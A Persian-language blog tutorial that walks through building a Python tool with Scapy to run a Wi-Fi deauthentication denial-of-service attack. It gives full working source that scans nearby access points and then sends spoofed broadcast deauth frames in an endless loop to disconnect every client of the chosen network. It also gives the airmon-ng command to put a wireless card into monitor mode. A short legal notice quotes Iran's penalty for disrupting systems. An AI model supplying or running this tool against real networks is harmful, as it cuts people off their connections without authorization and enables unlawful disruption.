-
شنبه, ۲۵ مرداد ۱۳۹۹، ۰۹:۲۳ ق.ظ
-
۱۵۵۲
اجرای حمله ی DOS علیه مودم وایرلس (AP) در پایتون
درود به همه !
در این پست آموزشی یاد میگیریم چطوری با پایتون ابزاری بنویسیم که بیاد روی مودم وایرلس ، حمله ی DOS اجرا کنه . وقتی این حمله اجرا شد ، تمام دستگاه های متصل به مودم وایرلس به طور خودکار قطع خواهند شد و تا وقتی این حمله ادامه دارد کسی نمیتواند به مودم وایرلس مورد حمله متصل شود .
توجه : طبق قانون جرایم رایانه ای - ماده737ـ هر کس به طور غیرمجاز با اعمالی از قبیل متوقف کردن، دستکاری یا تخریب داده ها یا امواج الکترومغناطیسی یا نوری، سامانه های رایانه ای یا مخابراتی دیگری را از کار بیندازد یا کارکرد آنها را مختل کند، به حبس از شش ماه تا دو سال یا جزای نقدی از ده میلیون (10.000.000) ریال تا چهل میلیون (40.000.000) ریال یا هر دو مجازات محکوم خواهدشد.
پیشنیاز این پست این هستش که شما کمی با تست نفوذ وایرلس آشنا باشید . و مفاهیم پست آموزش ساخت ابزار اسکن AP (مودم وایرلس) های مخفی در محیط با پایتون رو خونده باشید .
روش کار این حمله به صورتی هستش که هکر میاد خودشو جای مودم وایرلس جا میزنه و بسته هایی جعلی به دستگاه های متصل به مودم وایرلس میفرسته که اون دستگاه ها فکر میکنند این بسته ها رو خود مودم وایرلس فرستاده بهشون . این بسته ها ، بسته های Deauthentication هستند . وقتی یک مودم وایرلس میخواهد ارتباط یکی از دستگاه های متصل به خودش را به هر دلیلی قطع کند ، شروع به ارسال بسته های Deauthentication به همان دستگاه میکند و آن دستگاه موظف است به محض دریافت یکی از این بسته ها از مودم وایرلس قطع شود . حالا هکر میاد از همین روش استفاده میکنه و شروع میکنه از طرف مودم وایرلس به طور جعلی بسته های Deauthentication ارسال میکنه به دستگاه های متصل و در نتیجه دستگاه های متصل از مودم وایرلس قطع خواهند شد.
حالا ما باید اسکریپتی بنویسیم که در ابتدا تمام مودم های وایرلس محیط رو اسکن کنه و هر کدومشونو که کاربر انتخاب کرد رو بهشون حمله کنه . یعنی بسته های جعلی Deauthentication بفرسته به دستگاه های متصل به اون مودم وایرلس .
برای نوشتن این اسکریپت از کتابخونه ی Scapy استفاده میکنیم . این کتابخونه رو میتونیم با ابزار pip نصب کنیم :
نصب Scapy در لینوکس :
MrPython@debian:~$ sudo pip3 install scapy
نصب Scapy در ویندوز :
C:\> pip install scapy
بعد از نصب کتابخونه میریم سراغ نوشتن اسکریپت .
سورس :
from scapy.all import * iface = input("Iface : ") # Monitor Wireless Card
macs = []
def attack(target_mac , iface): # Attack dot11 = Dot11(addr1 = "ff:ff:ff:ff:ff:ff" , addr2 = target_mac , addr3 = target_mac) packet = RadioTap() / dot11 / Dot11Deauth(reason = 7) sendp(packet , loop = 1 , inter= 0.1 , verbose = 1 , iface = iface) def scanner(pkt): # Scan Access Points if pkt.haslayer(Dot11Beacon) and pkt.info: ssid = pkt.info.decode() mac = pkt.addr3 if mac not in macs: macs.append(mac) index = len(macs) print("{} - {} --> {}".format(index, mac,ssid)) print("\n") sniff(count = 10 , iface = iface , prn = scanner) print("\n") select = int(input("Enter The Number Of Target > ")) # Select Target target_mac = macs[select - 1] print("-------- ATTACK --------") attack(target_mac , iface)
توضیح سورس کد :
در ابتدا ماژول های مورد نیاز رو از کتابخونه ی Scapy ایمپورت کردیم . بعد از اون یه اینپوتی گرفتیم که کاربر باید اسم کارت شبکه ی وایرلسی که میخواد باهاش حمله رو انجام بده رو بنویسه . سپس یه لیستی تعریف کردیم به نام macs که قراره تمام مک آدرس مودم هایی که اسکن کردیم داخل این لیست ریخته بشه .
سپس دوتا تابع تعریف کردیم . یکی تابع Attack که کارش اجرای حمله هستش . این تابع مک آدرس مودم وایرلس مورد نظر به همراه اسم کارت شبکه ی وایرلس رو به عنوان ورودی میگیره . سپس یک لایه ی dot11 تعریف کردیم و مک آدرس های مورد نیاز رو بهش دادیم . addr1 برابر مک آدرس مقصد هستش که ما دادیم ff:ff:ff:ff:ff:ff . این مک آدرس ، برودکست هستش . وقتی مقصدمون این مک آدرس باشه باعث میشه به تمام دستگاه های متصل به اون مودم بسته ها ارسال بشن . addr2 برابر مک آدرس مبدا و addr3 برابر مک آدرس مودم وایرلس هستش که ما این دوتا آخری رو برابر مک آدرس خود مودم وایرلس قرار دادیم چون قرار بود جعلشون کنیم که دستگاه های متصل فکر کنند این بسته رو خود مودم فرستاده .
در خط بعد با استفاده از سه لایه ی RadioTap و dot11 و Dot11Deauth ، یک بسته ی Deauthentication ساختیم و ریختیم داخل متغییر packet . حالا میتونیم این بسته رو ارسال کنیم به دستگاه های متصل تا قطع بشن . در خط بعد با استفاده از متود sendp همینکار رو کردیم . تابع sendp چنتا ورودی داره که توضیح میدیم . ورودی اول همون بسته این هست که میخوایم ارسال کنیم که بهش دادیم . در ورودی دوم یعنی loop =1 گفتیم تا وقتی که برنامه در حال اجراس بسته ها هی پشت سر هم ارسال بشن . در ورودی سوم یعنی inter = 0.1 هم گفتیم فاصله ی بین ارسال هر بسته 0.1 ثانیه باشه . در ورودی بعدی یعنی verbose = 1 مشخص کردیم یه سری اطلاعات اضافی در مورد پکت های ارسالی به ما بده . مثلا برامون چاپ میکنه چنتا پکت ارسال شده و ... این ورودی رو نزارین هم مشکلی پیش نمیاد .نهایتا ورودی آخر گفتیم با کدوم کارت شبکه وایرلس این بسته ها رو ارسال کنه .
یه تابع دیگه هم به اسم scanner تعریف کردیم . تابع scanner کارش اینه که بیاد مودم های وایرلس رو در محیط اسکن کنه . این تابع رو در یکی از سورس های قبلی در پست آموزش ساخت ابزار اسکن AP (مودم وایرلس) های مخفی در محیط با پایتون . توضیح دادیم
بعد از تعریف توابع (یعنی در شروع برنامه) با استفاده از تابع sniff شروع کردیم یکم بسته های وایرلس در محیط رو شنود کنیم تا بتونیم مودم های وایرلس محیط رو شناسایی کنیم . برای اینکار چنتا ورودی دادیم به تابع sniff . یکی iface که برابر کارت شبکه ای هست که قراره باهاش شنود انجام بشه . دیگری count که گفتیم چنتا بسته شنود بشه . اینجا گفتیم ۱۰ تا بسته شنود بشه . و ورودی prn که گفتیم به محض شنود هر بسته کدوم تابع فراخونی بشه . ما گفتیم تابع scanner فراخونی بشه . به محض شنود هر بسته این تابع فراخونی میشه و خود بسته ی شنود شده به عنوان ورودی داده میشه به تابع scanner .
پس از اسکن مودم های وایرلس یه اینپوت گرفتیم به نام select که گفتیم حمله روی کدوم مودم وایرلس انجام بشه . نهایتا هر کدوم رو که کاربر وارد کرد مک آدرسش رو در خط بعد بدست آوردیم و تابع attack رو فراخونی کردیم تا روی همون مک آدرس حمله اجرا بشه .
میریم سراغ اجرای اسکریپت . برای اجرای اسکریپت ما باید یک کارت شبکه ی وایرلس داشته باشیم که قابلیت monitor داشته باشه . اگه این قابلیت رو داشته باشه این اسکریپت میتونه اجرا بشه . پس اگه چنین کارت شبکه ای داریم در ابتدا باید این کارت شبکه رو بزاریم روی حالت مانیتور . برای اینکار میتونیم از ابزار airmon-ng در لینوکس استفاده کنیم . با دستور زیر کارت شبکه مون رو میزاریم روی حالت مانیتور . (در اینجا اسم کارت شبکه ی من wlp3s0 هستش و بعد از گذاشتن روی حالت مانیتور به wlp3s0mon تغییر خواهد کرد)
MrPython@debian:~$ sudo airmon-ng start wlp3s0
خب بعد از انجام اینکار دیگه اسکریپت رو اجرا میکنیم و بعد از دادن تمام ورودی ها به اسکریپت ، حمله آغاز میشه و دستگاه های متصل به مودم وایرلس مورد نظر قطع خواهند شد . تصویر زیر :